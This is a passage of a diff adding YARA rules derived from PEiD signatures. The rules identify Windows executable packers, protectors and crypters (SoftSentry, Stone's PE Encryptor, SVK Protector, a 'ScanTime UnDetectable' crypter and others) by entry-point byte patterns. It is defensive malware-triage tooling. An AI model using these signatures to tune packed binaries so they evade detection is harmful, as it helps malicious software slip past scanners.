+        description = "[SoftProtect -> www.softprotect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02125_SoftSentry_v2_11_
+{
+    meta:
+        description = "[SoftSentry v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02126_SoftSentry_v3_0_
+{
+    meta:
+        description = "[SoftSentry v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02127_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02128_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02129_Software_Compress_v1_2____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.2 -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02130_Software_Compress_V1_2____BG_Software_Protect_Technologies_
+{
+    meta:
+        description = "[Software Compress V1.2 -> BG Software Protect Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02131_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02132_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02133_SoftWrap_
+{
+    meta:
+        description = "[SoftWrap]"
+        ep_only = "true"
+    strings:
+        $a = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02134_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02135_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02136_Spalsher_1_0___3_0____Amok_
+{
+    meta:
+        description = "[Spalsher 1.0 - 3.0 -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02137_Spalsher_v1_0___v3_0_
+{
+    meta:
+        description = "[Spalsher v1.0 - v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02138_SPEC_b2_
+{
+    meta:
+        description = "[SPEC b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02139_SPEC_b3_
+{
+    meta:
+        description = "[SPEC b3]"
+        ep_only = "true"
+    strings:
+        $a = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02140_Special_EXE_Password_Protector_v1_0_
+{
+    meta:
+        description = "[Special EXE Password Protector v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02141_Special_EXE_Pasword_Protector_1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector 1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02142_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02143_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02144_Splash_Bitmap_v1_00__With_Unpack_Code_____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 (With Unpack Code) -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02145_Splash_Bitmap_v1_00____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02146_SPLayer_v0_08_
+{
+    meta:
+        description = "[SPLayer v0.08]"
+        ep_only = "false"
+    strings:
+        $a = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02147_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02148_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02149_ST_Protector_V1_5____Silent_Software_
+{
+    meta:
+        description = "[ST Protector V1.5 -> Silent Software]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02150_StarForce_Protection_Driver____Protection_Technology__h__
+{
+    meta:
+        description = "[StarForce Protection Driver -> Protection Technology (h)]"
+        ep_only = "true"
+    strings:
+        $a = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_02151_StarForce_V3_X____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+/*
+rule PEiD_02152_StarForce_V3_X_DLL____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X DLL -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+rule PEiD_02153_Stealth_PE_v1_1_
+{
+    meta:
+        description = "[Stealth PE v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02154_STNPEE_1_13_
+{
+    meta:
+        description = "[STNPEE 1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02155_Stone_s_PE_Encryptor_v1_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02156_Stone_s_PE_Encryptor_v1_13_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02157_Stone_s_PE_Encryptor_v2_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02158_Stone_s_PE_Encruptor_v1_13_
+{
+    meta:
+        description = "[Stone`s PE Encruptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02159_Stony_Brook_Pascal_v6_14_
+{
+    meta:
+        description = "[Stony Brook Pascal v6.14]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02160_Stony_Brook_Pascal__v7_0_
+{
+    meta:
+        description = "[Stony Brook Pascal+ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_02161_Stranik_1_3_Modula_C_Pascal_
+{
+    meta:
+        description = "[Stranik 1.3 Modula/C/Pascal]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+*/
+
+rule PEiD_02162_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02163_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02164_SuckStop_v1_11_
+{
+    meta:
+        description = "[SuckStop v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02165_Sun_Icon_Graphics_format_
+{
+    meta:
+        description = "[Sun Icon Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {2F 2A 20 46 6F 72 6D 61 74 5F 76 65 72 73 69 6F 6E 3D 31 2C}
+    condition:
+        $a
+}
+
+rule PEiD_02166_SuperDAT_
+{
+    meta:
+        description = "[SuperDAT]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02167_SVK_Protector_1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+rule PEiD_02168_SVK_Protector_1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+
+rule PEiD_02169_SVK_Protector_v1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02170_SVK_Protector_v1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
